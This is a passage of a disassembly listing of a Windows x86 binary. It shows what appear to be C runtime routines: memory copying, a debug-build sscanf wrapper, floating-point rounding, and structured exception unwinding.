jmp off_41FD38[edx*4]
; ---------------------------------------------------------------------------
loc_41FC2C: ; CODE XREF: sub_41FBF0+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_41FC44
and eax, 3
add ecx, eax
jmp dword ptr loc_41FC4C+4[eax*4]
; ---------------------------------------------------------------------------
loc_41FC44: ; CODE XREF: sub_41FBF0+46j
jmp dword ptr loc_41FD48[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41FC4C: ; CODE XREF: sub_41FBF0+31j
; sub_41FBF0+8Ej ...
jmp off_41FCCC[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41FC60
dd offset loc_41FC8C
dd offset loc_41FCB0
; ---------------------------------------------------------------------------
loc_41FC60: ; DATA XREF: sub_41FBF0+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41FC4C
rep movsd
jmp off_41FD38[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41FC8C: ; DATA XREF: sub_41FBF0+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41FC4C
rep movsd
jmp off_41FD38[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41FCB0: ; DATA XREF: sub_41FBF0+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41FC4C
rep movsd
jmp off_41FD38[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41FCCC dd offset loc_41FD2F ; DATA XREF: sub_41FBF0:loc_41FC4Cr
dd offset loc_41FD1C
dd offset loc_41FD14
dd offset loc_41FD0C
dd offset loc_41FD04
dd offset loc_41FCFC
dd offset loc_41FCF4
dd offset loc_41FCEC
; ---------------------------------------------------------------------------
loc_41FCEC: ; CODE XREF: sub_41FBF0:loc_41FC4Cj
; DATA XREF: sub_41FBF0+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_41FCF4: ; CODE XREF: sub_41FBF0:loc_41FC4Cj
; DATA XREF: sub_41FBF0+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_41FCFC: ; CODE XREF: sub_41FBF0:loc_41FC4Cj
; DATA XREF: sub_41FBF0+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_41FD04: ; CODE XREF: sub_41FBF0:loc_41FC4Cj
; DATA XREF: sub_41FBF0+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_41FD0C: ; CODE XREF: sub_41FBF0:loc_41FC4Cj
; DATA XREF: sub_41FBF0+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_41FD14: ; CODE XREF: sub_41FBF0:loc_41FC4Cj
; DATA XREF: sub_41FBF0+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_41FD1C: ; CODE XREF: sub_41FBF0:loc_41FC4Cj
; DATA XREF: sub_41FBF0+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41FD2F: ; CODE XREF: sub_41FBF0:loc_41FC4Cj
; DATA XREF: sub_41FBF0:off_41FCCCo
jmp off_41FD38[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41FD38 dd offset loc_41FD48 ; DATA XREF: sub_41FBF0+35r
; sub_41FBF0+92r ...
dd offset loc_41FD50
dd offset loc_41FD5C
dd offset loc_41FD70
; ---------------------------------------------------------------------------
loc_41FD48: ; CODE XREF: sub_41FBF0+35j
; sub_41FBF0+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41FD50: ; CODE XREF: sub_41FBF0+35j
; sub_41FBF0+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41FD5C: ; CODE XREF: sub_41FBF0+35j
; sub_41FBF0+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41FD70: ; CODE XREF: sub_41FBF0+35j
; sub_41FBF0+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41FD88: ; CODE XREF: sub_41FBF0+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41FDBC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41FDB0
std
rep movsd
cld
jmp off_41FED0[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41FDB0: ; CODE XREF: sub_41FBF0+1B1j
; sub_41FBF0+208j ...
neg ecx
jmp dword ptr loc_41FE7F+1[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41FDBC: ; CODE XREF: sub_41FBF0+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_41FDD4
and eax, 3
sub ecx, eax
jmp dword ptr loc_41FDD4+4[eax*4]
; ---------------------------------------------------------------------------
loc_41FDD4: ; CODE XREF: sub_41FBF0+1D6j
; DATA XREF: sub_41FBF0+1DDr
jmp off_41FED0[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41FDE8
; ---------------------------------------------------------------------------
or dh, bh
inc ecx
add [eax], dh
inc byte ptr [ecx+0]
loc_41FDE8: ; DATA XREF: sub_41FBF0+1ECo
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_41FDB0
std
rep movsd
cld
jmp off_41FED0[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_41FDB0
std
rep movsd
cld
jmp off_41FED0[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_41FDB0
std
rep movsd
cld
jmp off_41FED0[edx*4]
; ---------------------------------------------------------------------------
align 4
test bh, dh
inc ecx
add [esi+edi*8-16BFFBFh], cl
inc ecx
add [esi+edi*8-15BFFBFh], bl
inc ecx
add [esi+edi*8-14BFFBFh], ch
inc ecx
loc_41FE7F: ; DATA XREF: sub_41FBF0+1C2r
add bh, al
inc byte ptr [ecx+0]
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41FEC7: ; CODE XREF: sub_41FBF0+1C2j
jmp off_41FED0[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_41FED0 dd offset loc_41FEE0 ; DATA XREF: sub_41FBF0+1B7r
; sub_41FBF0:loc_41FDD4r ...
dd offset loc_41FEE8
dd offset loc_41FEF8
dd offset loc_41FF0C
; ---------------------------------------------------------------------------
loc_41FEE0: ; CODE XREF: sub_41FBF0+1B7j
; sub_41FBF0:loc_41FDD4j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41FEE8: ; CODE XREF: sub_41FBF0+1B7j
; sub_41FBF0:loc_41FDD4j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41FEF8: ; CODE XREF: sub_41FBF0+1B7j
; sub_41FBF0:loc_41FDD4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41FF0C: ; CODE XREF: sub_41FBF0+1B7j
; sub_41FBF0:loc_41FDD4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_41FBF0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FF30 proc near ; CODE XREF: sub_40C575+40p
; _0:0040EBBAp ...
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 2Ch
push ebx
push esi
push edi
lea eax, [ebp+var_20]
mov [ebp+var_24], eax
lea ecx, [ebp+arg_8]
mov [ebp+var_2C], ecx
loc_41FF45: ; CODE XREF: sub_41FF30+3Dj
cmp [ebp+arg_0], 0
jnz short loc_41FF69
push offset aStringNull ; "string != NULL"
push 0
push 42h
push offset aSscanf_c ; "sscanf.c"
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_41FF69
int 3 ; Trap to Debugger
loc_41FF69: ; CODE XREF: sub_41FF30+19j
; sub_41FF30+36j
xor edx, edx
test edx, edx
jnz short loc_41FF45
loc_41FF6F: ; CODE XREF: sub_41FF30+67j
cmp [ebp+arg_4], 0
jnz short loc_41FF93
push offset aFormatNull ; "format != NULL"
push 0
push 43h
push offset aSscanf_c ; "sscanf.c"
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_41FF93
int 3 ; Trap to Debugger
loc_41FF93: ; CODE XREF: sub_41FF30+43j
; sub_41FF30+60j
xor eax, eax
test eax, eax
jnz short loc_41FF6F
mov ecx, [ebp+var_24]
mov dword ptr [ecx+0Ch], 49h
mov edx, [ebp+var_24]
mov eax, [ebp+arg_0]
mov [edx+8], eax
mov ecx, [ebp+var_24]
mov edx, [ebp+arg_0]
mov [ecx], edx
mov eax, [ebp+arg_0]
push eax
call sub_41BC70
add esp, 4
mov ecx, [ebp+var_24]
mov [ecx+4], eax
mov edx, [ebp+var_2C]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_24]
push ecx
call sub_429E90
add esp, 0Ch
mov [ebp+var_28], eax
mov eax, [ebp+var_28]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41FF30 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41FFF0(double)
sub_41FFF0 proc near ; CODE XREF: sub_40D798+38p
var_1C = qword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push 0FFFFh
mov eax, ds:dword_451810
push eax
call sub_42C2F0
add esp, 8
mov [ebp+var_C], eax
mov ecx, dword ptr [ebp+arg_0+6]
and ecx, 0FFFFh
and ecx, 7FF0h
cmp ecx, 7FF0h
jnz loc_4200AB
mov edx, dword ptr [ebp+arg_0+4]
push edx
mov eax, dword ptr [ebp+arg_0]
push eax
call sub_42C0F0
add esp, 8
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jle short loc_420082
cmp [ebp+var_10], 2
jle short loc_42004E
cmp [ebp+var_10], 3
jz short loc_420067
jmp short loc_420082
; ---------------------------------------------------------------------------
loc_42004E: ; CODE XREF: sub_41FFF0+54j
push 0FFFFh
mov ecx, [ebp+var_C]
push ecx
call sub_42C2F0
add esp, 8
fld [ebp+arg_0]
jmp loc_420121
; ---------------------------------------------------------------------------
loc_420067: ; CODE XREF: sub_41FFF0+5Aj
mov edx, [ebp+var_C]
push edx ; int
mov eax, dword ptr [ebp+arg_0+4]
push eax
mov ecx, dword ptr [ebp+arg_0]
push ecx ; double
push 0Bh ; int
call sub_42B3B0
add esp, 10h
jmp loc_420121
; ---------------------------------------------------------------------------
loc_420082: ; CODE XREF: sub_41FFF0+4Ej
; sub_41FFF0+5Cj
mov edx, [ebp+var_C]
push edx ; int
fld [ebp+arg_0]
fadd ds:dbl_43CD98
sub esp, 8
fstp [esp+1Ch+var_1C]
mov eax, dword ptr [ebp+arg_0+4]
push eax ; int
mov ecx, dword ptr [ebp+arg_0]
push ecx ; int
push 0Bh ; int
push 8 ; int
call sub_42B480
add esp, 1Ch
jmp short loc_420121
; ---------------------------------------------------------------------------
loc_4200AB: ; CODE XREF: sub_41FFF0+31j
mov edx, dword ptr [ebp+arg_0+4]
push edx
mov eax, dword ptr [ebp+arg_0]
push eax ; double
call sub_42B390
add esp, 8
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
fnstsw ax
test ah, 40h
jz short loc_4200E1
push 0FFFFh
mov ecx, [ebp+var_C]
push ecx
call sub_42C2F0
add esp, 8
fld [ebp+var_8]
jmp short loc_420121
; ---------------------------------------------------------------------------
loc_4200E1: ; CODE XREF: sub_41FFF0+D9j
mov edx, [ebp+var_C]
and edx, 20h
test edx, edx
jz short loc_420101
push 0FFFFh
mov eax, [ebp+var_C]
push eax
call sub_42C2F0
add esp, 8
fld [ebp+var_8]
jmp short loc_420121
; ---------------------------------------------------------------------------
loc_420101: ; CODE XREF: sub_41FFF0+F9j
mov ecx, [ebp+var_C]
push ecx ; int
mov edx, dword ptr [ebp+var_8+4]
push edx
mov eax, dword ptr [ebp+var_8]
push eax ; double
mov ecx, dword ptr [ebp+arg_0+4]
push ecx ; int
mov edx, dword ptr [ebp+arg_0]
push edx ; int
push 0Bh ; int
push 10h ; int
call sub_42B480
add esp, 1Ch
loc_420121: ; CODE XREF: sub_41FFF0+72j
; sub_41FFF0+8Dj ...
mov esp, ebp
pop ebp
retn
sub_41FFF0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420130 proc near ; CODE XREF: sub_41E860+Cp
; DATA XREF: _2:off_45181Co
push ebp
mov ebp, esp
push ebx
push esi
push edi
call sub_420170
call sub_42C430
mov ds:dword_4F3340, eax
call sub_42C3B0
fnclex
pop edi
pop esi
pop ebx
pop ebp
retn
sub_420130 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420160 proc near ; DATA XREF: _2:00451820o _2:00451824o
push ebp
mov ebp, esp
pop ebp
retn
sub_420160 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420170 proc near ; CODE XREF: sub_420130+6p
push ebp
mov ebp, esp
mov ds:off_454190, offset sub_42CB20
mov ds:off_454194, offset sub_42C530
mov ds:off_454198, offset sub_42C640
mov ds:off_45419C, offset sub_42C480
mov ds:off_4541A0, offset sub_42C610
mov ds:off_4541A4, offset sub_42CB20
pop ebp
retn
sub_420170 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, ds:dword_4F333C
mov [ebp-4], eax
mov ecx, [ebp+8]
mov ds:dword_4F333C, ecx
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4201DC proc near ; CODE XREF: sub_40D798+1Bp
; sub_40D798+44p ...
var_C = qword ptr -0Ch
var_4 = word ptr -4
var_2 = word ptr -2
push ebp
mov ebp, esp
add esp, 0FFFFFFF4h
fstcw [ebp+var_2]
wait
mov ax, [ebp+var_2]
or ah, 0Ch
mov [ebp+var_4], ax
fldcw [ebp+var_4]
fistp [ebp+var_C]
fldcw [ebp+var_2]
mov eax, dword ptr [ebp+var_C]
mov edx, dword ptr [ebp+var_C+4]
leave
retn
sub_4201DC endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_420210(double)
sub_420210 proc near ; CODE XREF: sub_40D7E4+79p
; sub_40E29B+398p
var_1C = qword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push 0FFFFh
mov eax, ds:dword_451828
push eax
call sub_42C2F0
add esp, 8
mov [ebp+var_C], eax
mov ecx, dword ptr [ebp+arg_0+6]
and ecx, 0FFFFh
and ecx, 7FF0h
cmp ecx, 7FF0h
jnz loc_4202CB
mov edx, dword ptr [ebp+arg_0+4]
push edx
mov eax, dword ptr [ebp+arg_0]
push eax
call sub_42C0F0
add esp, 8
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jle short loc_4202A2
cmp [ebp+var_10], 2
jle short loc_42026E
cmp [ebp+var_10], 3
jz short loc_420287
jmp short loc_4202A2
; ---------------------------------------------------------------------------
loc_42026E: ; CODE XREF: sub_420210+54j
push 0FFFFh
mov ecx, [ebp+var_C]
push ecx
call sub_42C2F0
add esp, 8
fld [ebp+arg_0]
jmp loc_420341
; ---------------------------------------------------------------------------
loc_420287: ; CODE XREF: sub_420210+5Aj
mov edx, [ebp+var_C]
push edx ; int
mov eax, dword ptr [ebp+arg_0+4]
push eax
mov ecx, dword ptr [ebp+arg_0]
push ecx ; double
push 0Ch ; int
call sub_42B3B0
add esp, 10h
jmp loc_420341
; ---------------------------------------------------------------------------
loc_4202A2: ; CODE XREF: sub_420210+4Ej
; sub_420210+5Cj
mov edx, [ebp+var_C]
push edx ; int
fld [ebp+arg_0]
fadd ds:dbl_43CD98
sub esp, 8
fstp [esp+1Ch+var_1C]
mov eax, dword ptr [ebp+arg_0+4]
push eax ; int
mov ecx, dword ptr [ebp+arg_0]
push ecx ; int
push 0Ch ; int
push 8 ; int
call sub_42B480
add esp, 1Ch
jmp short loc_420341
; ---------------------------------------------------------------------------
loc_4202CB: ; CODE XREF: sub_420210+31j
mov edx, dword ptr [ebp+arg_0+4]
push edx
mov eax, dword ptr [ebp+arg_0]
push eax ; double
call sub_42B390
add esp, 8
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
fnstsw ax
test ah, 40h
jz short loc_420301
push 0FFFFh
mov ecx, [ebp+var_C]
push ecx
call sub_42C2F0
add esp, 8
fld [ebp+var_8]
jmp short loc_420341
; ---------------------------------------------------------------------------
loc_420301: ; CODE XREF: sub_420210+D9j
mov edx, [ebp+var_C]
and edx, 20h
test edx, edx
jz short loc_420321
push 0FFFFh
mov eax, [ebp+var_C]
push eax
call sub_42C2F0
add esp, 8
fld [ebp+var_8]
jmp short loc_420341
; ---------------------------------------------------------------------------
loc_420321: ; CODE XREF: sub_420210+F9j
mov ecx, [ebp+var_C]
push ecx ; int
mov edx, dword ptr [ebp+var_8+4]
push edx
mov eax, dword ptr [ebp+var_8]
push eax ; double
mov ecx, dword ptr [ebp+arg_0+4]
push ecx ; int
mov edx, dword ptr [ebp+arg_0]
push edx ; int
push 0Ch ; int
push 10h ; int
call sub_42B480
add esp, 1Ch
loc_420341: ; CODE XREF: sub_420210+72j
; sub_420210+8Dj ...
mov esp, ebp
pop ebp
retn
sub_420210 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420350 proc near ; CODE XREF: sub_42D250+AEp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov ebx, large fs:0
mov eax, [ebx]
mov large fs:0, eax
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov esp, [ebx-4]
mov ebp, [ebp+var_4]
jmp eax
sub_420350 endp
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 8
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_420390 proc near ; CODE XREF: sub_42D730+50p
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_420390 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4203A0 proc near ; CODE XREF: sub_42D4B0+247p
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_4203A0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4203B0 proc near ; CODE XREF: sub_42D4B0+21Ep
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_4203B0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4203C0 proc near ; CODE XREF: sub_420610+66p
; sub_42D250+38p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov eax, large fs:0
mov [ebp+var_8], eax
mov [ebp+var_4], offset loc_4203EC
push 0
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_43ABA6 ; RtlUnwind
loc_4203EC: ; DATA XREF: sub_4203C0+12o
mov eax, [ebp+arg_4]
mov ecx, [eax+4]
and ecx, 0FFFFFFFDh
mov edx, [ebp+arg_4]
mov [edx+4], ecx
mov eax, large fs:0
mov ebx, [ebp+var_8]
mov [ebx], eax
mov large fs:0, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 8
sub_4203C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420420 proc near ; CODE XREF: _0:0043B834j _0:0043B84Ej ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
cld
mov [ebp+var_8], eax
push 0
push 0
push 0
mov eax, [ebp+var_8]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42CBB0
add esp, 20h
mov [ebp+var_4], eax
pop edi
pop esi
pop ebx
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_420420 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, [ebp+8]
mov ecx, [eax+1Ch]
push ecx
mov edx, [ebp+8]
mov eax, [edx+28h]
push eax
push 0
mov ecx, [ebp+8]
mov edx, [ecx+18h]
push edx
call sub_42D120
add esp, 10h
pop ebp
retn 4
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420490 proc near ; CODE XREF: sub_42D310+8Ap
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
mov [ebp+var_14], 0
mov [ebp+var_10], offset sub_420500
mov eax, [ebp+arg_4]
mov [ebp+var_C], eax
mov ecx, [ebp+arg_0]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_C]
add edx, 1
mov [ebp+var_4], edx
mov eax, large fs:0
mov [ebp+var_14], eax
lea eax, [ebp+var_14]
mov large fs:0, eax
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+arg_8]
push edx
call sub_42D810
mov [ebp+var_18], eax
mov eax, [ebp+var_14]
mov large fs:0, eax
mov eax, [ebp+var_18]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_420490 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420500 proc near ; DATA XREF: sub_420490+10o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
cld
push 0
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_4]
mov edx, [ecx+10h]
push edx
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
push ecx
push 0
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
mov ecx, [eax+0Ch]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_42CBB0
add esp, 20h
pop edi
pop esi
pop ebx
pop ebp
retn
sub_420500 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420540 proc near ; CODE XREF: sub_42CF40+2Dp
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
mov [ebp+var_28], 0
mov [ebp+var_24], offset sub_420610
mov eax, [ebp+arg_10]
mov [ebp+var_20], eax
mov ecx, [ebp+arg_4]
mov [ebp+var_1C], ecx
mov edx, [ebp+arg_14]
mov [ebp+var_18], edx
mov eax, [ebp+arg_18]
mov [ebp+var_14], eax
mov [ebp+var_10], 0
mov [ebp+var_C], 0
mov [ebp+var_8], 0
mov [ebp+var_4], 0
mov [ebp+var_10], offset loc_4205DC
mov [ebp+var_C], esp
mov [ebp+var_8], ebp
mov eax, large fs:0
mov [ebp+var_28], eax
lea eax, [ebp+var_28]
mov large fs:0, eax
mov [ebp+var_34], 1
mov ecx, [ebp+arg_0]
mov [ebp+var_30], ecx
mov edx, [ebp+arg_8]
mov [ebp+var_2C], edx
lea eax, [ebp+var_30]
push eax
mov ecx, [ebp+arg_0]
mov edx, [ecx]
push edx
call sub_428EE0
call dword ptr [eax+68h]
add esp, 8
mov [ebp+var_34], 0
loc_4205DC: ; DATA XREF: sub_420540+4Bo
cmp [ebp+var_4], 0
jz short loc_4205F9
mov ebx, large fs:0
mov eax, [ebx]
mov ebx, [ebp+var_28]
mov [ebx], eax
mov large fs:0, ebx
jmp short loc_420602
; ---------------------------------------------------------------------------
loc_4205F9: ; CODE XREF: sub_420540+A0j
mov eax, [ebp+var_28]
mov large fs:0, eax
loc_420602: ; CODE XREF: sub_420540+B7j
mov eax, [ebp+var_34]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_420540 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420610 proc near ; DATA XREF: sub_420540+10o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
cld
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
and ecx, 66h
test ecx, ecx
jz short loc_420635
mov edx, [ebp+arg_4]
mov dword ptr [edx+24h], 1
mov eax, 1
jmp short loc_42068C
; ---------------------------------------------------------------------------
loc_420635: ; CODE XREF: sub_420610+12j
push 1
mov eax, [ebp+arg_4]
mov ecx, [eax+14h]
push ecx
mov edx, [ebp+arg_4]
mov eax, [edx+10h]
push eax
mov ecx, [ebp+arg_4]
mov edx, [ecx+8]
push edx
push 0
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
mov edx, [ecx+0Ch]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_42CBB0
add esp, 20h
mov ecx, [ebp+arg_4]
cmp dword ptr [ecx+24h], 0
jnz short loc_42067B
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+arg_4]
push eax
call sub_4203C0
loc_42067B: ; CODE XREF: sub_420610+5Cj
mov ebx, [ebp+arg_4]
mov esp, [ebx+1Ch]
mov ebp, [ebx+20h]
jmp dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
mov eax, 1
loc_42068C: ; CODE XREF: sub_420610+23j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_420610 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
